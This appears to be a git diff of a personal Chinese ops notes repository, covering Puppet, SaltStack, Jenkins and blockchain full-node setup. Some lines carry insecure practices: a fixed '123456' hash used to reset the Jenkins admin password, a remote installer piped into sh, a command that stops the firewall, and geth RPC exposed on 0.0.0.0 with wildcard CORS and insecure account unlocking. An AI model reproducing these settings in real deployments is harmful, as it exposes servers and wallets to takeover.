-agent每隔30分钟请求master,master将此服务器的所有资源清单处理为catalog然后发送给agent,agent执行对应操作来满足期望的状态,agent生成对应的报告信息发送给master。 + agent每隔30分钟请求master,master将此服务器的所有资源清单处理为catalog然后发送给agent,agent执行对应操作来满足期望的状态,agent生成对应的报告信息发送给master。 3. agent模式 + ## 指令 + ```bash puppet module list # 列出所有的模块 puppet --configprint modulepath # 模块的存放位置 @@ -21,15 +32,21 @@ puppet module search Module_Name # 搜索模块 puppet module install Module_Name # 安装模块 puppet describe -l # 列出所有资源 ``` + ## 实践学习 + ### 语法 + ```ruby key => value # 定义一个值 key +> value # 添加一个值 ``` + ### 单机简单使用 + 1. 编写资源清单,使用group资源创建用户组 -vim group.pp + vim group.pp + ```ruby group{'mygrp': name => 'mygrp', @@ -37,6 +54,7 @@ group{'mygrp': gid => 2000, } ``` + ```bash --noop # 运行catelog,但不执行配置 # 预执行一次,检查是否有语法错误 @@ -46,8 +64,10 @@ puppet apply -v group.pp # 验证 cat /etc/group |grep mygrp ``` + 2. 依赖关系 -vim user2.pp + vim user2.pp + ```ruby # 被依赖的类型的首字母必须大写 group{'redhat': @@ -63,10 +83,11 @@ user{'ilinux': } # Group['redhat'] -> User['ilinux'] # 方案3 -``` +``` 3. 通知关系:通知相关的其它资源进行“刷新”操作 -vim srv3.pp + vim srv3.pp + ```ruby package{'redis': ensure => installed, @@ -92,27 +113,35 @@ Package['redis'] -> File['/etc/redis.conf'] ~> Service['redis'] ``` 4. tag 标签 + ```ruby type{'title':   ...   tag => ['TAG1','TAG2',...], } ``` + puppet apply --tags TAG1,TAG2,... FILE.PP ### 类 + #### 声明 + 1. 使用include(常用) -include base::linux,apache 可以用逗号隔开声明多个类 + include base::linux,apache 可以用逗号隔开声明多个类 2. 使用require 3. 像声明一个资源一样声明类(常用) 4. 使用ENC的风格来声明一个类 + ### 类的定义与调用 + 1. 类的名称只能以小写字母开头,可以包含小字字母、数字和下划线。 + 2. 每个类都会引入一个新的变量scope ,这意味着在任何时候访问类中的变量时,都得使用其完全限定名称。 -3. 不带参数的类 -vim class1.pp +3. 不带参数的类 + vim class1.pp + ```ruby class class1{ group{'mygrp': @@ -145,7 +174,9 @@ class redis { # 定义一个类 } include class1,redis # 调用类 方式1 ``` + 4. 带参数的类 + ```ruby class createfile($filename='/home/vagrant/puppet/test.txt') { file{"$filename": @@ -164,6 +195,7 @@ include createfile ``` 5. 类的继承 + ```ruby class createfile1 { file{'/home/vagrant/puppet/file1.txt': @@ -196,17 +228,21 @@ class{"createfile": # 调用类 方式2 ``` ### 模板 -<%= EXPRESSION %> — 插入表达式的值,进行变量替换 -<% CODE %> — 执行代码,但不插入值 -<%# COMMENT %> — 插入注释 -<%% or %%> — 插入% + +\<%= EXPRESSION %> — 插入表达式的值,进行变量替换 +\<% CODE %> — 执行代码,但不插入值 +\<%# COMMENT %> — 插入注释 +\<%% or %%> — 插入% vim redis.conf.erb + ```erb aaaaaaa bind 127.0.0.1 <%= @ipaddress_eth0 %> ``` + vim file.pp + ```ruby file{'/home/vagrant/puppet/redis.conf': ensure => file, diff --git a/auto/auto-tools/config/saltstack.md b/auto/auto-tools/config/saltstack.md index bcfece5..22af6f0 100644 --- a/auto/auto-tools/config/saltstack.md +++ b/auto/auto-tools/config/saltstack.md @@ -1,4 +1,11 @@ +--- +created_date: 2024-11-19 +--- + +[TOC] + # saltstack + 服务端修改 master: interface:192.168.1.1 @@ -10,15 +17,16 @@ minion: master:192.168.1.1 id: ID -systemctl stop firewalld && sed -i '/#master: salt/a\master: 172.16.212.126' /etc/salt/minion && systemctl restart salt-minion +systemctl stop firewalld && sed -i '/#master: salt/a\\master: 172.16.212.126' /etc/salt/minion && systemctl restart salt-minion - master和minion的交互 -Saltstack默认使用zeromq传递消息,zeromq会随着Salt的安装而安装,他是一个消息队列服务,master通过4505端口将指令放入zeromq的队列中,而所有的minion都会监听master的4505端口,然后从队列中拿消息进行对比决定是否进行操作,如果操作将自己操作的结果丢回zeromq另外一个队列,master从4506端口监听该队列,得到返回结果,然后展示出来 + Saltstack默认使用zeromq传递消息,zeromq会随着Salt的安装而安装,他是一个消息队列服务,master通过4505端口将指令放入zeromq的队列中,而所有的minion都会监听master的4505端口,然后从队列中拿消息进行对比决定是否进行操作,如果操作将自己操作的结果丢回zeromq另外一个队列,master从4506端口监听该队列,得到返回结果,然后展示出来 -4505 # 发送指令 -4506 # 接受结果 +4505 # 发送指令 +4506 # 接受结果 ## 安装 + ```bash apt-get install python-software-properties add-apt-repository ppa:saltstack/salt @@ -26,13 +34,15 @@ apt-get update apt-get install salt-master #服务端 apt-get install salt-minion #客户端 ``` + ## 端口 -- master -4505(publish_port)—Salt Master pub接口 提供远程执行命令发送功能 -4506(ret_port)—Salt Master Ret接口 支持认证、文件服务、结果收集等功能 +- master + 4505(publish_port)—Salt Master pub接口 提供远程执行命令发送功能 + 4506(ret_port)—Salt Master Ret接口 支持认证、文件服务、结果收集等功能 ## 指令 + salt 执行salt的执行模块,通常在master端运行 salt-cp 分发文件到minion上,不支持目录分发,通常在master运行 salt-key 密钥管理,通常在master端执行 @@ -41,4 +51,3 @@ salt-run salt-syndic salt-call minion自己执行可执行模块,不通过master下发job - diff --git a/auto/auto-tools/jenkins/jenkins-cicd.md b/auto/auto-tools/jenkins/jenkins-cicd.md index 716cfee..604045e 100644 --- a/auto/auto-tools/jenkins/jenkins-cicd.md +++ b/auto/auto-tools/jenkins/jenkins-cicd.md @@ -1,24 +1,39 @@ +--- +created_date: 2024-11-19 +--- + +[TOC] + ## CICD + - 参考 - - https://www.jenkins.io/doc/pipeline/tour/post/ 构建结束后操作 - - https://www.jenkins.io/zh/doc/book/pipeline/syntax/ + - https://www.jenkins.io/doc/pipeline/tour/post/ 构建结束后操作 + - https://www.jenkins.io/zh/doc/book/pipeline/syntax/ ### 信息 -1. + +1. ### 流程 + - 方式一(aws k8s) - 1. 下载代码(通过credentialsId登入git仓库) - 2. build dockerfile - 3. aws 登入() - 4. 推送镜像进入aws - 5. 登入k8s集群(执行pipeline脚本的机器能在k8s集群内执行操作) - 6. 更新yaml并且apply + 1. 下载代码(通过credentialsId登入git仓库) + + 2. build dockerfile + + 3. aws 登入() + + 4. 推送镜像进入aws + + 5. 登入k8s集群(执行pipeline脚本的机器能在k8s集群内执行操作) + + 6. 更新yaml并且apply - 方式二(裸部署方式) ### template + ```groovy // clone code def git_url = 'ssh://git@IP:PORT/PROJECT.git' @@ -341,10 +356,13 @@ def notifyQA(ppl_params) { ``` ## Notice + 1. jenkins - - 如果在agent上有操作,job会创建两个文件夹 ${jobname} ${jobname}@tmp - - 如果在agent上无操作,job会创建一个文件夹 ${jobname}@tmp -2. 插件 SSH Pipeline Steps - - 如果这个文件所属者不属于root用户,root用户操作也会报错 - - get过来的文件放在${jobname}目录内 \ No newline at end of file + - 如果在agent上有操作,job会创建两个文件夹 ${jobname} ${jobname}@tmp + - 如果在agent上无操作,job会创建一个文件夹 ${jobname}@tmp + +2. 插件 SSH Pipeline Steps + + - 如果这个文件所属者不属于root用户,root用户操作也会报错 + - get过来的文件放在${jobname}目录内 diff --git a/auto/auto-tools/jenkins/jenkins-install-four.md b/auto/auto-tools/jenkins/jenkins-install-four.md index 1491f70..e5239fb 100644 --- a/auto/auto-tools/jenkins/jenkins-install-four.md +++ b/auto/auto-tools/jenkins/jenkins-install-four.md @@ -1,7 +1,15 @@ +--- +created_date: 2024-11-19 +--- + +[TOC] + # 安装jenkins + # https://jenkins.io/download/ ## 0 通过tomcat安装 + ```bash # - 参考 官网:http://tomcat.apache.org/ wget http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.31/bin/apache-tomcat-8.5.31.tar.gz @@ -14,49 +22,58 @@ sh startup.sh ``` ## 1 通过war安装 + - 参考 https://jenkins-zh.cn/tutorial/get-started/install/war/ curl -O http://mirrors.jenkins.io/war-stable/latest/jenkins.war + - 启动 -export JENKINS_HOME=~/.jenkins_home -nohup java -jar jenkins.war --httpPort=8899 > /tmp/jenkins.log 2>&1 & + export JENKINS_HOME=~/.jenkins_home + nohup java -jar jenkins.war --httpPort=8899 > /tmp/jenkins.log 2>&1 & + +## 2 通过rpm安装 -## 2 通过rpm安装 curl -O https://pkg.jenkins.io/redhat/jenkins-2.176.3-1.1.noarch.rpm rpm -ih jenkins-2.176.3-1.1.noarch.rpm ## 3 通过yum安装 -curl -o /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo + +curl -o /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key yum install -y jenkins ## 2,3然后 + 更改端口 vi /etc/sysconfig/jenkins -修改Jenkins启动配置文件 vi /etc/init.d/jenkins +修改Jenkins启动配置文件 vi /etc/init.d/jenkins\ service jenkins start 卸载 - # yum -y remove jenkins - # rm -rf /var/cache/jenkins - # rm -rf /var/lib/jenkins/ +\# yum -y remove jenkins +\# rm -rf /var/cache/jenkins +\# rm -rf /var/lib/jenkins/ http://ip:8080/exit http://ip:8080/restart http://ip:8080/reload - ## 忘记免密: + $JENKINS_HOME/users/用户名/config.xml 将密码更改为123456 - #jbcrypt:$2a$10$MiIVR0rr/UhQBqT.bBq0QehTiQVqgNpUGyWW2nJObaVAM/2xSQdSq +#jbcrypt:$2a$10$MiIVR0rr/UhQBqT.bBq0QehTiQVqgNpUGyWW2nJObaVAM/2xSQdSq ## Jenkins所有插件.hpi下载 + https://updates.jenkins-ci.org/download/plugins/ # 其它 + ## 权限管理 + 1. 安装插件 Role-based Authorization Strategy 2. 在 Configure Global Security 中授权策略选择 Role-Based Strategy ## -- SSH Pipeline Steps - - https://github.com/jenkinsci/ssh-steps-plugin - - https://www.jenkins.io/doc/pipeline/steps/ssh-steps/#sshcommand-ssh-steps-sshcommand-execute-command-on-remote-node \ No newline at end of file + +- SSH Pipeline Steps + - https://github.com/jenkinsci/ssh-steps-plugin + - https://www.jenkins.io/doc/pipeline/steps/ssh-steps/#sshcommand-ssh-steps-sshcommand-execute-command-on-remote-node diff --git a/auto/auto-tools/xxljob.md b/auto/auto-tools/xxljob.md index d38ec7a..837367a 100644 --- a/auto/auto-tools/xxljob.md +++ b/auto/auto-tools/xxljob.md @@ -1,13 +1,24 @@ +--- +created_date: 2024-11-19 +--- + +[TOC] + # xxljob + - 参考 - - https://github.com/xuxueli/xxl-job + - https://github.com/xuxueli/xxl-job + ## 安装 + - 依赖软件 - - Java Jdk1.8+ - - Maven3+ - - Mysql5.7+ + + - Java Jdk1.8+ + - Maven3+ + - Mysql5.7+ - docker方式安装 + ```bash # 下载项目源码并解压,然后初始化数据库 /xxl-job/doc/db/tables_xxl_job.sql @@ -17,4 +28,4 @@ docker pull xuxueli/xxl-job-admin:版本号 docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin -d xuxueli/xxl-job-admin:{指定版本} # 访问 账户密码 admin/123456 http://127.0.0.1 -``` \ No newline at end of file +``` diff --git a/auto/rpa.md b/auto/rpa.md index 290b5ff..230c9ea 100644 --- a/auto/rpa.md +++ b/auto/rpa.md @@ -1,3 +1,9 @@ +--- +created_date: 2024-11-19 +--- + +[TOC] + - RPA(Robotic Process Automation) 机器人流程自动化 - 《van der Aalst,2018》中,作者谈到了改进信息系统的 “由内而外 “和 “由外而内 “的方法。 在典型情况下(自内而外),要提高系统效率,就必须重写或升级软件。 相比之下,RPA 可在不改变软件堆栈的情况下改进系统和工作流程。 它具有成本效益,易于实施,而且不需要高技术团队就能实现出色的业务成果。 @@ -6,11 +12,12 @@ - RPA 与 AIRPA可以使用编码指令执行重复的、非增值的、基于规则的任务。然而,它没有思考的能力。人工智能可以像人类一样思考和决策,并能自己完成任务 - ## 相关软件 + 1. 谷歌插件 Automa -2. 软件系统 skyvern https://github.com/Skyvern-AI/skyvern - +2. 软件系统 skyvern https://github.com/Skyvern-AI/skyvern + ## 付费软件 + 1. 指纹猎手 https://www.browto.com/ -2. 影刀RPA https://www.yingdao.com/ \ No newline at end of file +2. 影刀RPA https://www.yingdao.com/ diff --git a/blockchain/README.md b/blockchain/README.md deleted file mode 100644 index 40ed86c..0000000 --- a/blockchain/README.md +++ /dev/null @@ -1,6 +0,0 @@ -# 区块链技术 -- 参考 - - https://www.zhihu.com/market/paid_column/1166373767449661440/section/1171092639914442752?origin_label=search - -- 区块链存储技术将是未来最伟大的存储技术 - - 浪子小鬼 diff --git a/blockchain/fullnode/1 ETH.md b/blockchain/fullnode/1 ETH.md deleted file mode 100644 index 3c686d2..0000000 --- a/blockchain/fullnode/1 ETH.md +++ /dev/null @@ -1,308 +0,0 @@ -- POW共识 - -[TOC] -## 部署ETH-主网 -- 使用二进制进行安装部署 -- https://geth.ethereum.org/downloads/ -```shell -# 0.创建部署目录 - mkdir /data && cd /data -# 1.下载程序压缩包(请自行选择程序版本) - curl -O https://gethstore.blob.core.windows.net/builds/geth-linux-amd64-1.10.12-6c4dc6c3.tar.gz - -# 2.解压缩包 - tar xzvf geth-linux-amd64-1.8.15-89451f7c.tar.gz geth -# 3.后台启动 - nohup /data/geth/geth --nat=extip:公网IP --rpc --rpcaddr 0.0.0.0 --ws --wsaddr 0.0.0.0 --wsport 8544 --datadir /data/ethereum --rpcvhosts=* > /data/geth/nohup.out 2>&1 & -参数讲解: ---datadir 数据块目录 ---bootnodes Geth通过一种称为发现协议的方法来寻找对等节点。在发现协议中,节点之间相互移动以发现网络上的其他节点。一开始,geth使用了一组bootstrap节点,这些节点的端点记录在源代码中。可以通过--bootnodes参数修改一开始的引导节点 - -要在启动时更改引导节点,请使用--bootnodes选项并用逗号分隔 -``` -- 部署时遇到的问题: - 1. 本地全节点无法连接到任何节点 - + 本地的时间不正确,正确的本地时间是以太坊网络所必需的,请检查你的系统时间并同步系统时间(例如命令: sudo ntpdate -s time.nist.gov),本地时间误差达到12秒都能导致0连接的情况发生。 - + 一些防火墙设置项会防止UDP数据流拥堵,你可以尝试通过命令 admin.addPeer() 手动添加一些静态节点来解决这个问题。 -- 同步过程 - 1. Imported new block headers - 2. Imported new block receipts - 3. Imported new state entries - 4. Imported new chain segment -- 同步完成 10088165 227G -## 运维须知-主网 -1. 默认端口 - 1. p2p:30303 - 2. ws: 8544 - 3. rpc: 8545 - -4. 首先进入交互界面-指令操作 - ./geth attach --datadir /data/ethereum - 或 geth attach geth.ipc - 0. 总览 - eth 所有方法 - net 网络信息 - admin 节点的配置信息 - miner 矿工的方法 - web3 - 1. 获取连接节点的数量 - net.peerCount - 2. 查看网络是否可用 - net.listening - 3. 查看networkid - admin.nodeInfo.protocols.eth.network - 3. 查看所有的连接节点 - admin.peers - admin.peers.forEach(function(p) {console.log(p.network.remoteAddress);}) - 4. 查看此节点的地址 - admin.nodeInfo.enode - 5. 添加静态连接节点。两个节点想要联通必须保证网络是可用的,并且指定相同的networkid - admin.addPeer("enode://74410cd0aaeffd52f40e65992ae2e9d6dfb33a190f0904a39542382ae91f511581c3e4ca1450c89d7bfc61b833413aaefa093b069309af4699b2df2e16ed7525@13.229.57.82:30303") - 或者在以下文件添加 - /static-nodes.json - ```conf - [ - "enode://512630c5472003d8e6bdfe81e256230ac0d8034838739f31b982e2ff0a3014e9cc1844600a5efa3e291168923f2ef474b36f881a01912b683b3af5414a88d9cc@13.229.57.82:30303" - ] - ``` - 6. 查看同步了的块高/查看块高同步的百分比(未同步完成时) - eth.syncing - console.log(parseInt(eth.syncing.currentBlock/eth.syncing.highestBlock*100,10)+'%') - - 7. 账户挖矿交易相关 - 1. personal.newAccount() - 2. eth.accounts - 3. eth.getBalance("账户地址") - 4. 挖矿所得账户会进入矿工账户,称呼为coinbase,默认情况下coinbase是本地账户中的第一个账户 eth.coinbase - 5. 设置矿工账户 miner.setEtherbase() - 6. wei是以太币的最小单位,一个以太币=10的18次方个wei,将wei换算为以太币web3.fromWei() web3.toWei() - 7. 交易 eth.sendTransaction(from:eth.accounts[0],to:eth.accounts[1],value:1) - 8. personal.unlockAccount(钱包地址) - 9. 查看链上正在进行交易的数量 txpool.status - 10. 查看交易信息 eth.getTransaction("交易hash") - 11. 通过区块号查看交易信息 eth.getBlock(区块号) -5. 导出块高 - ./geth export 保存的文件位置 块高开始位置 块高的结束位置 --datadir /data/ethereum/ --syncmode "fast" - 参数解释: - --datadir 数据块的目录位置 - --syncmode 导出模式,共有三种 "full","fast","light" - -6. 导入块高 - ./geth import 被导入的文件 --datadir /data/ethereum/ --syncmode "fast" --cache 2048 - -7. 导出导入测试: - 块高:0-8990000 - 配置 4C 8G - 导出耗时17分钟 - 导入耗时 (--cache 4096 耗内存13G左右) 7小时4分钟,达到2430000多时被oom掉;暂时将cpu和内存改为8C 32G - 105G的块高压缩包解压时间2-3个小时,压缩为64G。 - eth.block 进行md5验证需要10分钟左右 - -8. 公共的接口调用(被封装过的) - https://ropsten.etherscan.io/apis -9. 区块链游览器 - 主网:https://etherscan.io/ - 测试网:https://ropsten.etherscan.io/ - -10. gas解释 https://www.jianshu.com/p/36caba297e14 - -11. -Synchronisation failed, dropping peer peer=1a32db2cf244288e err="retrieved hash chain is invalid" -尝试删除最前面的一部份数据,再开始同步 ----- 任然出现此条错误 -debug.setHead("0x637cc0") 6520000块高 - -## 部署ETH-测试网 -- Kovan PoA算法,Parity专用 -- Ropsten PoW算法,支持Parity和Get -- Rinkeby PoA共识算法,Geth专用 -参考文档 -- https://orange.xyz/p/113 -- https://my.oschina.net/kunBlog/blog/1552073 -水龙头: -https://github.com/bokkypoobah/WeenusTokenFaucet -https://www.liankexing.com/notetwo/12995 - -### Ubuntu16部署parity Kovan -- Parity由Ethcore开发,为Rust语言写的全节点客户端程序。 -- https://www.mycryptopedia.com/how-to-install-and-run-an-ethereum-parity-node/ -- 部署文档 https://www.dazhuanlan.com/2020/01/04/5e1009dd10a04/ -- 配置文档 https://paritytech.github.io/parity-config-generator/#config=eyJfX2ludGVybmFsIjp7ImNvbmZpZ01vZGUiOiJhZHZhbmNlZCIsInBsYXRmb3JtIjoiTGludXgifSwicGFyaXR5Ijp7ImNoYWluIjoia292YW4ifSwibWluaW5nIjp7Imdhc19mbG9vcl90YXJnZXQiOiIxMDAwIiwibWluX2dhc19wcmljZSI6MTV9fQ== -- 安装包链接 https://github.com/openethereum/openethereum/releases -1. 下载 -curl -O https://github.com/openethereum/openethereum/releases/download/v3.0.0-alpha.1/openethereum-v3.0.0-alpha.1-ubuntu-16.04.zip - -deb安装后,会在/usr/bin/下生成可执行文件。 -2. 配置文件 -config.toml -```conf -[parity] -chain = "kovan" //正式链为mainnet -base_path = "/opt/parity" -[network] -port = 30304 -[rpc] -disable = false -port = 8547 -interface = "0.0.0.0" -apis = ["web3", "eth", "net", "parity", "traces", "rpc", "secretstore", "personal"] -hosts = ["none"] -[websockets] -disable = false -port = 8546 -interface = "0.0.0.0" -origins = ["none"] -apis = ["web3", "eth", "pubsub", "net", "parity", "traces", "rpc", "secretstore", "personal"] -hosts = ["none"] -``` -3. 启动 -nohup parity -l sync=debug,rpc=trace --config config.toml > parity.log 2>&1 & -### Ubuntu16部署eth rinkeby -curl -O https://gethstore.blob.core.windows.net/builds/geth-linux-amd64-1.9.13-cbc4ac26.tar.gz -curl -O https://gethstore.blob.core.windows.net/builds/geth-linux-amd64-1.9.14-6d74d1e5.tar.gz -/data/geth/geth --datadir /data/geth/data/rinkeby --rinkeby -/data/geth/geth --rpc --rpcaddr 0.0.0.0 --rpcport 8545 --ws --wsaddr 0.0.0.0 --datadir /data/geth/data --rpcvhosts=* --rinkeby - -## 运维须知-测试网 -1. 默认端口 - - rpc 8547 - -2. 查看钱包地址交易信息 -https://kovan.etherscan.io/address/0x913f09c0640df1c3fbee8206715d770d8ce6cdef - -3. 创建解锁账户 -``` -parity account new -parity –unlock –password -``` -4. 版本查看 -./parity --version - -5. 区块链游览器 rinkeby网络 -https://kovan.etherscan.io/ - - - -## eth索引库 -https://github.com/Adamant-im/ETH-transactions-storage -https://git.i.garys.top/project/src/eth-indexer - -0. 部署 全节点 -1. 安装 Postgresql 10.5 或 11 -2. 安装 Postgrest -3. 安装 python3.6环境,安装python3.6的pip或者pip3 -4. 启动服务器操作 -createuser -s {yourusername} -CREATE DATABASE index; -psql -f create_table.sql {yourDB} - -pip3 install web3 -pip3 install psycopg2 -5. 启动服务 -python3.6 you/path/to/script/ethsync.py {yourDB} - -服务化 ethstorage.service - -### 主网索引库同步问题 -索引库同步到 4908668 时出现问题。 -```log -Jun 08 11:17:38 hnpvmnn01 bash[29892]: Traceback (most recent call last): -Jun 08 11:17:38 hnpvmnn01 bash[29892]: File "/data/eth-indexer/ethsync.py", line 121, in -Jun 08 11:17:38 hnpvmnn01 bash[29892]: insertion(block, transactions) -Jun 08 11:17:38 hnpvmnn01 bash[29892]: File "/data/eth-indexer/ethsync.py", line 92, in insertion -Jun 08 11:17:38 hnpvmnn01 bash[29892]: (time, fr, to, value, gas, gasprice, blockid, txhash, contract_to, contract_value)) -Jun 08 11:17:38 hnpvmnn01 bash[29892]: psycopg2.errors.ProgramLimitExceeded: index row size 3984 exceeds maximum 2712 for index "con -Jun 08 11:17:38 hnpvmnn01 bash[29892]: HINT: Values larger than 1/3 of a buffer page cannot be indexed. -Jun 08 11:17:38 hnpvmnn01 bash[29892]: Consider a function index of an MD5 hash of the value, or use full text indexing. - -``` -同步极慢,从0到4908668块高花销了2周 -dev主网同步到4908668后从10222000开始同步 -prd主网同步到4857565后从10222000开始同步 - - -## 部署ET-私有网 - -- 参考文档 - - https://geth.ethereum.org/docs/interface/private-network - -### 下载 -```bash -# 1. 从官网 https://geth.ethereum.org/downloads/ 下载geth,解压即可得到可执行指令 -# 2. -mv geth /usr/local/bin/ -``` - -### 初始化创始区块 -- 创始区块信息文件 genesis.json (官方模版) -```conf -{ - "config": { - "chainId": 1337, - "homesteadBlock": 0, - "eip150Block": 0, - "eip155Block": 0, - "eip158Block": 0, - "byzantiumBlock": 0, - "constantinopleBlock": 0, - "petersburgBlock": 0, - "ethash": {}, - "coinbase":"0xfeda2DCb016567DEb02C3b59724cf09Dbc41A64D" - }, - "difficulty": "1", - "gasLimit": "8000000", - "alloc": { - "0xfeda2DCb016567DEb02C3b59724cf09Dbc41A64D": { "balance": "80000000000000000000000" } - } -} -``` - -- 参数 - - NetworkId 是用来标识区块链网络的。主要在节点之间握手并相互检验的时候使用。 - - ChainId - - 链标识符,是在EIP155改进方案中实现,用于防止重放攻击。 - - 防止交易在不同的以太坊同构网络进行交易重放的。主要在交易签名和验证的时候使用。 - - 已经被占用的ChainId https://chainlist.org/ - - 默认为 1337 - - difficulty 挖矿难度 6291450 = 1分钟2个左右 - - alloc 创始区块分配给特定地址的余额 - -- 初始化 -```bash -# 创建创始区块 -geth --datadir ./ethereumData init genesis.json - -``` - -### 启动 -```bash -# 启动以太坊私有网络 -./geth --dev --miner.threads 1 --gcmode archive --datadir=./ethereumData/ --networkid 1337 --nodiscover --http --http.addr 127.0.0.1 --http.port 8545 --ws --ws.addr 127.0.0.1 --ws.port 8544 --port 30303 --allow-insecure-unlock --http.corsdomain "*" --http.api "admin debug web3 eth txpool personal miner net" --rpc.txfeecap 0 --rpc.gascap 0 console - -# --mine -# --miner.threads 1 # 启动N个CPU线程进行挖矿,默认为0 - -# --dev # 开发者模式。 -# --dev.period 0 # 0 或者 1 # 开发者模式下,0: 默认为被动挖矿模式,即当进行交易时,系统才会挖矿打包。 1: 开发者模式主动挖矿。 -# --verbosity 3 - -# --identity ${name} 给节点自定义名字 -# --gcmode archive # 区块的垃圾回收模式 full 和 archive ,默认是 full # archive模式将保留智能合约中的所有值状态以及帐户余额的完整历史记录 -# --syncmode full # 同步模式 "light", "fast", "full" - -# --http -# --http.api "" # available="[admin,debug,web3,eth,txpool,personal,ethash,miner,net]" # 允许通过http方式访问相关的模块 -# --http.corsdomain "*" # 跨域访问 - -# --ws -# --ws.addr 127.0.0.1 --ws.port 8544 -# --ws.api "" -# --ws.origins '*' - -# console 进入控制台 - -# 进入以太坊控制台 -geth --datadir=./ethereumData/ attach -geth attach ./ethereumData/geth.ipc -geth attach http://127.0.0.1:8545 -geth attach ws://127.0.0.1:8544 -``` diff --git a/blockchain/fullnode/10 Cardano-ada.md b/blockchain/fullnode/10 Cardano-ada.md deleted file mode 100644 index 3a2357f..0000000 --- a/blockchain/fullnode/10 Cardano-ada.md +++ /dev/null @@ -1,96 +0,0 @@ -[TOC] -- git仓库 -https://github.com/input-output-hk/jormungandr -- 相关资料 -https://iohk.zendesk.com/hc/en-us/articles/360039342934-How-to-install-Jormungandr-Networking-Linux- -https://input-output-hk.github.io/jormungandr/introduction.html -- 技术问题:https://forum.cardano.org/c/developers/29/l/top -- 本文档的安装部署未按照以上链接操作,主要基于尧神的文档 -- 团队:IOHK -- 链: Cardano -- 代币:ADA -- 代码:nodejs - -#### 安装部署 -- docker -- ubuntu16.04+ -- nodejs v8 -- 4 Core CPU or above -- 16G Memory or above -- 200G Storage or above -- 10Mbit/s bandwidth or above -- NTP service on - -Setup adalite Guide -##### 安装全节点 -- 安装方式 docker-compose -- 测试环境 -- 先安装docker和docker-compose - - 参考文档: https://gist.github.com/garyssdevil/4697c90aff1a93341c4d8085e421dc3e -```bash -# 1. 创建系统用户,此用户的UID必须是999. -useradd -r -m cardano -# 2. 将此用户添加进docker组里 -usermod -aG docker cardano -# 3. 以ADA用户身份进入/dada/文件夹 -chown cardano.cardano /data && su - cardano -cd /data/ -# 4. 下载安装脚本-lightweight wallet -git clone https://github.com/vacuumlabs/adalite-backend-service.git - -# 5. 配置,修改docker的数据目录路径 -cd adalite-backend-service/docker/ -mv env.example .env.ada -vim .env.ada -# 修改数据目录为 /data/docker_data -# ICARUS_IMPORTER_HOST_PORT=8200 - -# 修改容器配置,使其随服务器自行启动。 -# restart: always - -# 6. 启动 -./manage_containers.sh ada start-normal -chown -R cardano.cardano /data/docker_data -./manage_containers.sh ada start-normal -``` - -##### 区块链游览器 /基于尧神的文档 -```bash -git clone https://github.com/input-output-hk/cardano-sl.git -cd cardano-sl -git checkout 3.2.0 - -# 创建nixbld用户组以及用户,安装Nix包管理工具时需要用到 -groupadd nixbld -for n in $(seq 1 10); do useradd -c "Nix build user $n" -d /var/empty -g nixbld -G nixbld -M -N -r -s "$(which nologin)" nixbld$n; done -curl https://nixos.org/nix/install | sh - -source ~/.nix-profile/etc/profile.d/nix.sh - -# 编译,4C或16C都是耗时7个小时这样 -nix-build -A connectScripts.mainnet.explorer -o connect-explorer-to-mainnet -##start 以root用户权限启动 -mkdir -p /data/cardano-sl_data/logs -cd /data/cardano-sl_data -nohup /data/cardano-sl/connect-explorer-to-mainnet > ./logs/explorer`date '+%Y%m%d%H%M%S'`.log 2>&1 & - -# api文档 https://cardanodocs.com/technical/explorer/api/ - -``` - -##### 运维须知 -- 默认端口 - 1. 数据库:5432 - 2. ada-importer: 8200映射至8202 - 3. ada-service: 8080 - 4. rpc:8100 (需要安装区块链游览器) -- 区块链游览器,主网 -https://adascan.net/ -https://cardanoexplorer.com/ -- 查看官网块高 -https://cardanoexplorer.com/api/blocks/pages - -- API查看块高 -curl 127.0.0.1:8100/api/blocks/pages | grep cbeBlkHeight - - diff --git a/blockchain/fullnode/11 Nervos-CKB.md b/blockchain/fullnode/11 Nervos-CKB.md deleted file mode 100644 index 772ddef..0000000 --- a/blockchain/fullnode/11 Nervos-CKB.md +++ /dev/null @@ -1,53 +0,0 @@ -[TOC] -- git仓库 -https://github.com/nervosnetwork/ckb -- 代币:CKB -- 链:Nervos -### 部署Nevos -- 使用二进制进行安装部署 -```bash -useradd -r -m nervos && chown nervos.nervos /data && su - nervos && cd /data/ -# 1. 下载资源 -wget https://github.com/nervosnetwork/ckb/releases/download/v0.26.0/ckb_v0.26.0_x86_64-unknown-linux-gnu.tar.gz -# 2. -tar xzvf ckb_v0.26.0_x86_64-unknown-linux-gnu.tar.gz -mv ckb_v0.26.0_x86_64-unknown-linux-gnu ckb -cd ckb - -# 3. 获取测试网定制化的规格配置 -wget https://gist.github.com/doitian/573513c345165c0fe4f3504ebc1c8f9f/raw/3032bed68550e0a50e91df2c706481e80b579c70/aggron.toml -# 初始化测试网A -./ckb init --import-spec ./aggron.toml --chain testnet -# 初始化主网B -./ckb init --chain mainnet --force -# ./ckb init --list-chains 查看所有的环境配置 - -# 5. 启动进程 -nohup /data/ckb/ckb run -C /data/ckb/ > /data/debug.log 2>&1 & -``` -### 运维须知 -- 区块链游览器 https://explorer.nervos.org/ -- API文档 https://docs.nervos.org/api/rpc.html - -- 默认端口 - 1. rpc: 8114 - 2. p2p: 8115 - -- 常用CLI - 1. 查看节点信息 ./ckb-cli rpc get_blockchain_info - 2. 查看块高 ./ckb-cli rpc get_tip_block_number - -- API查看块高 -```bash -echo '{ - "id": 2, - "jsonrpc": "2.0", - "method": "get_tip_block_number", - "params": [] -}' \ -| tr -d '\n' \ -| curl -H 'content-type: application/json' -d @- \ -http://localhost:8114 - -printf %d 16进制 -``` \ No newline at end of file diff --git a/blockchain/fullnode/12 XLM-stellar.md b/blockchain/fullnode/12 XLM-stellar.md deleted file mode 100644 index f7208ec..0000000 --- a/blockchain/fullnode/12 XLM-stellar.md +++ /dev/null @@ -1,56 +0,0 @@ -Git -https://github.com/stellar/stellar-core -https://github.com/stellar/docker-stellar-core-horizon -- 链: steller -- 代币: XLM - -#### 安装部署 -Requirement - Ubuntu 16.04 - docker 17.03.2-ce - Ubuntu 16.04+ - docker 